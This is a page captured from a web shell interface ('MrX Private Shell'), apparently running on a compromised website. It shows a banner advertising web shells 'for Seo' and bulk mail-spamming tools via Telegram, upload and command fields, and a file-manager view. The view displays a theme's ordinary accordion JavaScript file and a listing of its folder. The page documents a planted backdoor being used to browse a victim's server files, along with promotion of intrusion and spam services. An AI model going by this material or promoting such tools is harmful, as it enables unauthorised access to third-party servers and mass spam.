__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { whenTransitionEnds } from './helpers/when-transition-ends'

const computeHasMarginManipulation = (childrenWrap, el) => {
	const m = getComputedStyle(el).marginBottom

	// return parseFloat(m) > 0 && el.nextElementSibling === childrenWrap
	return el.nextElementSibling === childrenWrap
}

// support 3 strategies:
// 1. data-target on el
// 2. when no data-target, find aria-hidden element on the same level
// 3. when no data-target attribute is present, find aria-hidden element on
//    upper level.
//
// If you can't find target — do nothing.
const findTargetForEl = (el) => {
	// case 1
	if (el.hasAttribute('data-target')) {
		return document.querySelector(el.getAttribute('data-target'))
	}

	// case 2
	const maybeCurrentLevel = el.parentNode.querySelector('[aria-hidden]')

	if (maybeCurrentLevel) {
		return maybeCurrentLevel
	}

	// case 3
	const maybeUpperLevel =
		el.parentNode.parentNode.querySelector('[aria-hidden]')

	if (maybeUpperLevel) {
		return maybeUpperLevel
	}

	// When nothing found -- do nothing
	return null
}

const showContent = (childrenWrap, el) => {
	const hasMarginManipulation = computeHasMarginManipulation(childrenWrap, el)

	if (hasMarginManipulation) {
		el.setAttribute('aria-expanded', 'true')
	}

	requestAnimationFrame(() => {
		if (hasMarginManipulation) {
			const m = getComputedStyle(el).marginBottom

			// Revert back aria-expanded
			el.setAttribute('aria-expanded', 'false')

			childrenWrap.firstElementChild.prevStyle =
				childrenWrap.firstElementChild.getAttribute('style')

			childrenWrap.firstElementChild.style.marginTop = m
		}

		childrenWrap.setAttribute('aria-hidden', 'false')

		const actualHeight = childrenWrap.getBoundingClientRect().height

		childrenWrap.style.height = '0px'
		childrenWrap.style.opacity = '0'

		requestAnimationFrame(() => {
			childrenWrap.classList.add('is-animating')

			requestAnimationFrame(() => {
				childrenWrap.style.height = `${actualHeight}px`
				childrenWrap.style.opacity = '1'

				whenTransitionEnds(childrenWrap, () => {
					childrenWrap.classList.remove('is-animating')
					childrenWrap.removeAttribute('style')

					if (hasMarginManipulation) {
						if (childrenWrap.firstElementChild.prevStyle) {
							childrenWrap.firstElementChild.style =
								childrenWrap.firstElementChild.prevStyle
						} else {
							childrenWrap.firstElementChild.removeAttribute(
								'style'
							)
						}
					}

					el.setAttribute('aria-expanded', 'true')
				})
			})
		})
	})
}

const hideContent = (childrenWrap, el, cb) => {
	const hasMarginManipulation = computeHasMarginManipulation(childrenWrap, el)

	if (hasMarginManipulation) {
		const m = getComputedStyle(el).marginBottom

		childrenWrap.firstElementChild.prevStyle =
			childrenWrap.firstElementChild.getAttribute('style')

		childrenWrap.firstElementChild.style.marginTop = m

		if (el.getAttribute('style')) {
			el.prevStyle = el.getAttribute('style')
		}

		el.style.marginBottom = '0px'
	}

	requestAnimationFrame(() => {
		const actualHeight = childrenWrap.getBoundingClientRect().height

		childrenWrap.style.height = `${actualHeight}px`
		childrenWrap.style.opacity = '1'
		childrenWrap.classList.add('is-animating')

		requestAnimationFrame(() => {
			childrenWrap.style.height = '0px'
			childrenWrap.style.opacity = '0'

			whenTransitionEnds(childrenWrap, () => {
				childrenWrap.classList.remove('is-animating')

				childrenWrap.removeAttribute('style')

				if (hasMarginManipulation) {
					if (childrenWrap.firstElementChild.prevStyle) {
						childrenWrap.firstElementChild.style =
							childrenWrap.firstElementChild.prevStyle
					} else {
						childrenWrap.firstElementChild.removeAttribute('style')
					}

					if (el.prevStyle) {
						el.style = el.prevStyle
					} else {
						el.removeAttribute('style')
					}
				}

				cb()
			})
		})
	})
}

export const mount = (el, { event }) => {
	event.stopPropagation()
	event.preventDefault()

	const targetEl = findTargetForEl(el)

	if (!targetEl) {
		return
	}

	const isExpanded = targetEl.getAttribute('aria-hidden') === 'false'

	if (isExpanded) {
		hideContent(targetEl, el, () => {
			el.setAttribute('aria-expanded', 'false')
			targetEl.setAttribute('aria-hidden', 'true')
		})

		return
	}

	if (typeof el.dataset.closeOthers !== 'undefined') {
		const parent = el.closest('.ct-accordion-tab').parentNode
		const toggles = parent.querySelectorAll(
			'.ct-expandable-trigger[aria-expanded="true"]'
		)

		toggles.forEach((toggle) => {
			const targetEl = findTargetForEl(toggle)

			if (targetEl) {
				hideContent(targetEl, el, () => {
					toggle.setAttribute('aria-expanded', 'false')
					targetEl.setAttribute('aria-hidden', 'true')
				})
			}
		})
	}

	showContent(targetEl, el)
}

Filemanager

Name Type Size Permission Actions
dynamic-chunks Folder 0750
entry-points Folder 0750
header Folder 0750
helpers Folder 0750
integration Folder 0750
layouts Folder 0750
lazy Folder 0750
parallax Folder 0750
search Folder 0750
woocommerce Folder 0750
animated-element.js File 761 B 0640
back-to-top-link.js File 2.24 KB 0640
fast-overlay.js File 2.16 KB 0640
flexy.js File 3.75 KB 0640
generic-accordion.js File 4.65 KB 0640
handle-3rd-party-events.js File 1.03 KB 0640
popper-elements.js File 2.21 KB 0640
search-implementation.js File 9.04 KB 0640
social-buttons.js File 2.71 KB 0640
Filemanager